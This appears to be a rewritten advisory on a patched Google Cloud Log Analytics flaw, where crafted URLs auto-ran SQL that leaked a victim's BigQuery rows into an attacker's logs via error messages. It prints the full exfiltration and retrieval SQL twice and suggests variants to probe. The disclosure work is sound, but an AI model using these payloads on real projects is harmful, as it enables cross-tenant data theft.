Google Cloud Platform (GCP) Cloud Logging Cross-Tenant BigQuery Leak with Log Analytics
A flaw in Google Cloud Logging allowed an attacker to exfiltrate data from a victim's BigQuery datasets by crafting a malicious Log Analytics URL that automatically runs a SQL query with the victim's permissions. When the victim visited the URL, the query joined the attacker's log view with the victim's dataset and raised the results as an error, sending the data to the attacker's project logs.
Published on tenable.com
Tenable Research has identified and responsibly disclosed a data exfiltration vulnerability in Google Cloud Logging. This flaw allowed an attacker to exfiltrate data from a victim's BigQuery datasets by visiting a maliciously crafted Cloud Logging URL.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Google Cloud Logging includes a feature called Log Analytics, which lets you query logs using SQL. The query builder can be switched into SQL mode, and the engine can be set to BigQuery, so that queries run against log views that are linked to BigQuery datasets. In normal use this is a convenience: you write a query, run it, and the results appear in charts.
The behaviour that matters here is that when a user navigates to a Log Analytics URL, the embedded SQL query is automatically submitted, including when the query is set to use the BigQuery engine. Tenable Research found that this automatic execution could be turned into a cross-tenant data exfiltration primitive, and reported it to Google, which assigned it an S1 severity.
Setup
The proof of concept requires a specific set of preconditions:
- Log Analytics must be active, with a reservation, and there must be at least one log view available with a linked BigQuery dataset.
- The victim's principal must be granted IAM permissions in the attacker's tenant (project).
- The attacker needs a project of their own in which the query will run and into which the exfiltrated data will land.
The attacker also needs the victim to browse to a crafted URL.
Finding it
Because the query runs with the permissions of the person viewing the page, a URL prepared by someone else becomes a way to make the victim run arbitrary SQL with their own access rights.
The second ingredient is the permission grant from step 2 of the proof of concept: once the victim has IAM permissions in the attacker's tenant, a query that runs in the attacker's project can still reach the victim's own BigQuery datasets. Combining a log view in the attacker's project with a sensitive dataset in the victim's project in a single join query is what turns the automatic execution into a leak.
Exploitation
Step 1: Prepare Log Analytics
Make sure Log Analytics is active, with a reservation, and that at least one log view is available with a linked BigQuery dataset. This gives the attacker a log view in their own project to join against.
Step 2: Grant the victim access to the attacker's tenant
Give the victim's principal IAM permissions in the attacker's tenant. This is what allows a query running in the attacker's project to reach the victim's data.
Step 3: Open Log Analytics and switch to SQL
Browse to Log Analytics, then click <> SQL to change the query builder into SQL mode.
Step 4: Select the BigQuery engine
Click the settings cog icon and select the BigQuery engine. This selects the BigQuery engine for the query.
Step 5: Run a legitimate query and capture the URL
Run any legitimate query, then copy the URL. The URL now contains a valid query in the form the product expects, which the attacker will replace.
Step 6: Replace the query with the exfiltration payload
Replace the legitimate query in the copied URL with the following malicious query:
SELECT
ERROR(CONCAT('EXFIL: ', TO_BASE64(
CAST(
TO_JSON_STRING(ARRAY_AGG(t)) AS BYTES
))
))
FROM (
SELECT t
FROM
`[ATTACKER_PROJECT].global._Default._AllLogs` AS l
CROSS JOIN `[VICTIM_PROJECT].[VICTIM_DATASET].[VICTIM_TABLE]` AS t
LIMIT 1 OFFSET 0
);
The query joins the attacker's _AllLogs log view with the victim's table using a CROSS JOIN, limited to a single row. It aggregates that row into JSON with ARRAY_AGG(t) and TO_JSON_STRING, casts the result to bytes, and encodes it with TO_BASE64. The encoded data is then wrapped in an ERROR(CONCAT('EXFIL: ', ...)) call, so the query deliberately fails and the victim's data appears in the error message.
Step 7: Get the victim to open the URL
Send the victim the new malicious URL. When the victim browses to it, the query runs automatically.
Step 8: Read the exfiltrated data from the logs
Once the victim has browsed to the URL, query the logs in the attacker's project to retrieve the exfiltrated data:
SELECT
CAST(
FROM_BASE64(
REGEXP_EXTRACT(
proto_payload.audit_log.status.message, r'^EXFIL:\s+([A-Za-z0-9+/=]+)'
)
) AS STRING
)
FROM
`[ATTACKER_PROJECT].global._Default._AllLogs`
WHERE severity = "ERROR" AND starts_with(proto_payload.audit_log.status.message, 'EXFIL')
ORDER BY timestamp DESC
This query filters the attacker's logs for ERROR severity entries whose audit log status message starts with EXFIL, extracts the base64 payload with a regular expression, decodes it with FROM_BASE64, and casts the result to a string. The output is the victim's private BigQuery data.
Root cause
The design flaw is the automatic submission of the SQL query embedded in a Log Analytics URL, combined with execution in the context of the user viewing the page. A URL is attacker-controlled input, and treating it as a command to run SQL with the viewer's permissions means that any party who can get a victim to click a link can run a query as that victim.
The permission model compounds this. Once the victim's principal has IAM permissions in the attacker's tenant, a query that runs in the attacker's project can join an attacker-owned log view with a victim-owned dataset. The error-based exfiltration channel then moves the data into the attacker's own logs, where the attacker can read it.
Impact
An attacker could exfiltrate data from a victim's BigQuery datasets by getting the victim to visit a maliciously crafted Cloud Logging URL. The data is raised as an error, which the attacker retrieves with a follow-up query. The attack requires the preconditions above: Log Analytics active with a reservation and a linked log view, the victim's principal granted IAM permissions in the attacker's tenant, and the victim browsing to the crafted URL. Google assigned the bug an S1 severity.
Fix
Google resolved the issue by stopping the automatic running of Log Analytics queries. Queries involving resources that do not share an ownership boundary now display a warning message asking users to check whether the query is safe, and to manually initiate running the query in charts once confirmed.
Variants to test
- Other auto-executing URL parameters. Look for other Google Cloud or SaaS consoles that embed a query, script or expression in a shareable URL and run it on load. A positive result is that opening a URL you crafted causes a query to run without a confirmation step, visible in the resulting charts or logs.
- Error-based exfiltration channels. Try wrapping sensitive values in functions that raise errors, such as
ERROR(CONCAT(...))in BigQuery, and check whether the error text is written to a log the attacker can read. A positive result is the encoded value appearing in an audit or error log entry. - Cross-project joins under delegated permissions. Where a victim can be granted permissions in an attacker-controlled project, test whether a query in the attacker's project can join against victim-owned datasets. A positive result is a query returning or leaking rows from the victim's dataset.
- Ownership boundary warnings. After the fix, test whether queries that cross ownership boundaries are still executed automatically in any path, for example through a different entry point or a saved query. A positive result is execution without the warning and manual confirmation.
- Base64 and JSON aggregation of rows. On other analytics platforms, test whether
ARRAY_AGGplusTO_JSON_STRINGplusTO_BASE64can move a full row into an error message. A positive result is a decodable payload in the error output.
What happened, in plain words
Google Cloud is a set of online services that companies rent from Google instead of running their own computers. One of those services, Cloud Logging, keeps records of what happens in a company's systems: who signed in, what changed, what failed. A feature inside Cloud Logging called Log Analytics lets you search those records with a small query language called SQL, the same language used to ask questions of databases.
Tenable Research found a way to abuse a convenience in Log Analytics. When you open a Log Analytics web address (a URL) that has a query stored inside it, the page runs that query for you straight away, without asking. If someone else writes the URL, they choose the query, and it runs with your permissions, against your data. The researchers showed that a crafted URL could make a victim's private data from Google BigQuery (Google's data warehouse service) end up in the attacker's project logs.
Google fixed it by no longer running such queries automatically. Google assigned the bug an S1 severity and awarded a bounty.
The pieces you need to know
Before the steps make sense, here are the building blocks, each explained from zero.
- Cloud Logging: Google's service for storing log entries. A log entry is a small record of an event, like a line in a diary that a computer writes by itself.
- Log Analytics: the part of Cloud Logging where you can ask questions of those diary lines using SQL, and draw the answers as charts.
- SQL: a language for asking questions of tables of data.
SELECTmeans "give me",FROMsays which table,WHEREfilters rows. - BigQuery: Google's service for storing and analysing very large tables of data. A dataset is a folder of tables inside it, and a table is one grid of rows and columns.
- Log view: a saved, queryable window onto logs, which can be linked to a BigQuery dataset so the logs can be analysed there.
- Project (tenant): a container in Google Cloud that holds a company's or person's resources and bills them. "Cross-tenant" means going from one project into another.
- IAM permissions: Google's access control system. A principal is an identity (a person or a service) and IAM says what that identity may do. Granting permissions is like giving someone a key to a room.
- URL: the address of a web page. It can carry extra information after a
?, which the page can read. That is how a query can travel inside a link. - Session: the state of you being signed in. When you are signed in, the browser holds a small credential (often a cookie or token) that proves who you are, so the server knows whose permissions to use. Anything a page does while you are signed in happens as you.
- Exfiltration: getting data out of a place it was supposed to stay. Here it means copying a victim's private table into the attacker's own logs.
- Vulnerability class: this is a cross-site request style flaw combined with automatic execution: a link prepared by one party causes another party's browser to perform an action with that party's rights. The report itself does not name a formal class beyond describing it as a data exfiltration vulnerability.
Setup: what the attacker needs first
The proof of concept needs a few things in place before anything works.
- Log Analytics must be active, with a reservation, and there must be at least one log view available with a linked BigQuery dataset. A reservation is a booked amount of processing capacity. The linked log view gives the attacker something of their own to put in the query.
- The victim's principal must be granted IAM permissions in the attacker's tenant (project). This is the trick: the victim is given permissions in the attacker's tenant, which lets a query running in the attacker's project reach the victim's own data.
- The attacker needs a project of their own, where the query runs and where the stolen data will land.
The attacker also needs the victim to open a crafted URL. The query runs as the person viewing the page, so it runs with the victim's permissions.
Finding it
Second, the query runs with the permissions of whoever is viewing the page. Put together, a URL written by someone else becomes a way to make the victim run SQL with the victim's own access rights.
The second ingredient is the permission grant from step 2: once the victim has IAM permissions in the attacker's tenant, a query that runs in the attacker's project can still reach the victim's BigQuery datasets. Joining a log view in the attacker's project with a sensitive dataset in the victim's project in one query is what turns automatic execution into a leak.
Exploitation, step by step
Step 1: Prepare Log Analytics
Make sure Log Analytics is active, with a reservation, and that at least one log view is available with a linked BigQuery dataset. Why: the attacker needs a log view in their own project to join against, and the query has to run somewhere the attacker controls.
Step 2: Grant the victim access to the attacker's tenant
Give the victim's principal IAM permissions in the attacker's tenant. Why: this is what allows a query running in the attacker's project to reach the victim's data. Think of it as inviting the victim into your office so that, when they walk in, they bring their own keys with them.
Step 3: Open Log Analytics and switch to SQL
Browse to Log Analytics, then click <> SQL to change the query builder into SQL mode. Why: SQL mode lets you write the query directly.
Step 4: Select the BigQuery engine
Click the settings cog icon and select the BigQuery engine. Why: this selects the BigQuery engine for the query. The engine is the program that actually runs the query.
Step 5: Run a legitimate query and capture the URL
Run any legitimate query, then copy the URL. Why: the URL now contains a valid query in the form the product expects, which the attacker replaces.
Step 6: Replace the query with the exfiltration payload
Replace the legitimate query in the copied URL with the following malicious query:
SELECT
ERROR(CONCAT('EXFIL: ', TO_BASE64(
CAST(
TO_JSON_STRING(ARRAY_AGG(t)) AS BYTES
))
))
FROM (
SELECT t
FROM
`[ATTACKER_PROJECT].global._Default._AllLogs` AS l
CROSS JOIN `[VICTIM_PROJECT].[VICTIM_DATASET].[VICTIM_TABLE]` AS t
LIMIT 1 OFFSET 0
);
Line by line, in plain words:
SELECTstarts the question.ERROR(CONCAT('EXFIL: ', TO_BASE64(is the trick at the heart of the attack.CONCATglues text together, here the labelEXFIL:and an encoded copy of the data.TO_BASE64turns raw data into plain letters and digits so it survives being pasted into a message.ERROR(...)deliberately raises an error whose text is that glued string. The query is meant to fail, and the failure message carries the data.CAST(andTO_JSON_STRING(ARRAY_AGG(t)) AS BYTEStake the rowt, collect it withARRAY_AGG(which gathers rows into one value), turn it into JSON text withTO_JSON_STRING(JSON is a common text format for structured data), and convert that text into bytes so it can be encoded.FROM (opens a sub-query, a query inside the query.SELECT t FROMsays: take the rowtfrom what follows.`[ATTACKER_PROJECT].global._Default._AllLogs` AS lis the attacker's own log view, nicknamedl._AllLogsis the view that holds all log entries.CROSS JOINpairs every row from the left side with every row from the right side. Here it is used to bring the attacker's log view and the victim's table into the same query.`[VICTIM_PROJECT].[VICTIM_DATASET].[VICTIM_TABLE]` AS tis the victim's private table, nicknamedt. The square brackets are placeholders for the real names.LIMIT 1 OFFSET 0keeps just one row, the first one, so the error message stays small and readable.);closes the sub-query and the statement.
Why this shape: the query runs in the attacker's project, so when it fails, the error is written to the attacker's logs. The victim's data rides inside the error text.
Step 7: Get the victim to open the URL
Send the victim the new malicious URL. When the victim browses to it, the query runs automatically, in the context of the victim's session and with the victim's permissions. Why this works: the query in the URL is submitted automatically.
Step 8: Read the exfiltrated data from the logs
Once the victim has browsed to the URL, query the logs in the attacker's project to retrieve the exfiltrated data:
SELECT
CAST(
FROM_BASE64(
REGEXP_EXTRACT(
proto_payload.audit_log.status.message, r'^EXFIL:\s+([A-Za-z0-9+/=]+)'
)
) AS STRING
)
FROM
`[ATTACKER_PROJECT].global._Default._AllLogs`
WHERE severity = "ERROR" AND starts_with(proto_payload.audit_log.status.message, 'EXFIL')
ORDER BY timestamp DESC
Line by line:
SELECTstarts the question again, this time to read the stolen data back out.CAST(andFROM_BASE64(reverse the encoding:FROM_BASE64turns the letters and digits back into the original bytes, andCAST(... AS STRING)turns those bytes into readable text.REGEXP_EXTRACT(pulls out just the part we want using a pattern. The patternr'^EXFIL:\s+([A-Za-z0-9+/=]+)'means: at the start of the message, the wordEXFIL:, then whitespace, then a run of base64 characters, which are captured in the brackets.proto_payload.audit_log.status.messageis the field in the log entry that holds the error message text. Audit logs are the records of actions taken in the cloud.FROMand the backticked path point at the attacker's own log view, where the error was written.WHERE severity = "ERROR"keeps only error entries, andstarts_with(proto_payload.audit_log.status.message, 'EXFIL')keeps only those whose message begins with our label.ORDER BY timestamp DESCsorts newest first, so the latest leak is at the top.
The output is the victim's private BigQuery data.
Root cause
The design flaw is the automatic submission of the SQL query embedded in a Log Analytics URL, combined with execution in the context of the user viewing the page. A URL is input controlled by whoever writes the link, and treating it as a command to run SQL with the viewer's permissions means that anyone who can get a victim to click a link can run a query as that victim. A useful comparison: it is as if a note handed to a clerk were read out and carried out as an order, because the clerk assumes anything in their in-tray came from the boss.
The permission model makes it worse. Once the victim's principal has IAM permissions in the attacker's tenant, a query that runs in the attacker's project can join an attacker-owned log view with a victim-owned dataset. The error-based channel then moves the data into the attacker's project logs.
Impact
An attacker could exfiltrate data from a victim's BigQuery datasets by getting the victim to visit a maliciously crafted Cloud Logging URL. The data is raised as an error, which the attacker retrieves with a follow-up query. The attack requires the preconditions above: Log Analytics active with a reservation and a linked log view, the victim's principal granted IAM permissions in the attacker's tenant, and the victim browsing to the crafted URL. Google assigned the bug an S1 severity.
Fix
Google resolved the issue by stopping the automatic running of Log Analytics queries. Queries involving resources that do not share an ownership boundary now display a warning message asking users to check whether the query is safe, and to manually initiate running the query in charts once confirmed. In everyday terms: the clerk no longer acts on notes from the in-tray without checking with you first.
Variants to test
These are ideas for researchers to look for similar problems elsewhere.
- Other auto-executing URL parameters. Look for other Google Cloud or SaaS consoles that embed a query, script or expression in a shareable URL and run it on load. A positive result is that opening a URL you crafted causes a query to run without a confirmation step, visible in the resulting charts or logs.
- Error-based exfiltration channels. Try wrapping sensitive values in functions that raise errors, such as
ERROR(CONCAT(...))in BigQuery, and check whether the error text is written to a log the attacker can read. A positive result is the encoded value appearing in an audit or error log entry. - Cross-project joins under delegated permissions. Where a victim can be granted permissions in an attacker-controlled project, test whether a query in the attacker's project can join against victim-owned datasets. A positive result is a query returning or leaking rows from the victim's dataset.
- Ownership boundary warnings. After the fix, test whether queries that cross ownership boundaries are still executed automatically in any path, for example through a different entry point or a saved query. A positive result is execution without the warning and manual confirmation.
- Base64 and JSON aggregation of rows. On other analytics platforms, test whether
ARRAY_AGGplusTO_JSON_STRINGplusTO_BASE64can move a full row into an error message. A positive result is a decodable payload in the error output.
Disclosure timeline
- November 16, 2025: Tenable reports the finding to Google, and Google acknowledges.
- November 25, 2025: Google accepts the bug and assigns an S1 severity.
- December 14, 2025: Tenable requests an update.
- December 16, 2025: Google awards a bounty.
- December 17, 2025: Tenable acknowledges.
- December 18, 2025: Google informs they will share updates about the fix and ETA when available.
- January 4, 2026: Tenable requests an update.
- January 7, 2026: Google updates that product teams are still working on a mitigation.
- January 22, 2026: Google updates that the fix is rolling out, Tenable acknowledges and requests additional details regarding the fix.
- January 26, 2026: Google provides details regarding the fix.
- January 28, 2026: Google updates the status of the issue to fixed.
Glossary
- API: a defined way for one program to ask another program to do something, like a service counter with set forms.
- Audit log: a record of actions taken in a system, kept for review.
- Base64: an encoding that turns raw data into plain letters, digits and a few symbols so it can travel safely in text.
- Bounty: a payment made by a company to a researcher who reports a security bug.
- Cloud Logging: Google's service for storing and searching log entries.
- Cookie: a small piece of data a website stores in your browser, often used to remember that you are signed in.
- Cross join: a way of combining two tables that pairs every row of one with every row of the other.
- Cross-tenant: reaching from one project or organisation into another.
- Dataset: a folder of tables inside BigQuery.
- Error-based exfiltration: stealing data by deliberately causing an error whose message contains the data.
- Exfiltration: copying data out of a place where it was meant to stay.
- IAM: Google's access control system that decides which identity may do what.
- JSON: a common text format for structured data, using braces and key/value pairs.
- Log Analytics: the Cloud Logging feature for querying logs with SQL and drawing charts.
- Log entry: one record of an event written by a system.
- Log view: a saved, queryable window onto logs, which can be linked to a BigQuery dataset.
- Principal: an identity, such as a person or a service, that permissions are granted to.
- Project: a container in Google Cloud that holds resources and is billed.
- Query: a question asked of data, usually written in SQL.
- Reservation: a booked amount of processing capacity in Google Cloud.
- S1: the severity rating Google assigned to this bug.
- Session: the state of being signed in, backed by a credential the browser holds.
- Table: one grid of rows and columns of data.
- Tenant: another word for a project or organisation whose resources are kept separate.
- Token: a small credential, similar to a cookie, that proves who you are to a service.
- URL: the address of a web page, which can carry extra information after a
?. - Vulnerability: a weakness in software that someone can abuse to do something it was not meant to allow.